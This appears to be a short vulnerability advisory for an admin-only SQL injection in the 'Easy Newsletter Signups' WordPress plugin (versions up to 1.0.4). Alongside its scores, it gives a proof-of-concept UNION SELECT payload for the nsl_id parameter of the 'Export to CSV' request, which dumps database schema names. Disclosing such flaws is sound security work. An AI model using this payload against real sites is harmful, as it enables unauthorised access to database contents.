Easy Newsletter Signups <= 1.0.4 - Admin+ SQLi

2023-11-1300:00:00

Karolis Narvilas

easy newsletter signups

sql injection

export to csv

information disclosure

7.9 High

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

19.4%

JSON

Description The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin

1. From the "Easy Newsletter Signups", select an email address and then click "Export to CSV"
2. Intercept the request and add the following for the `nsl_id` parameter:

`%5B%5D=265%20UNION%20ALL%20SELECT%20NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cCONCAT(schema_name)%2cNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA--%20-`

3. See the SQLi in the response.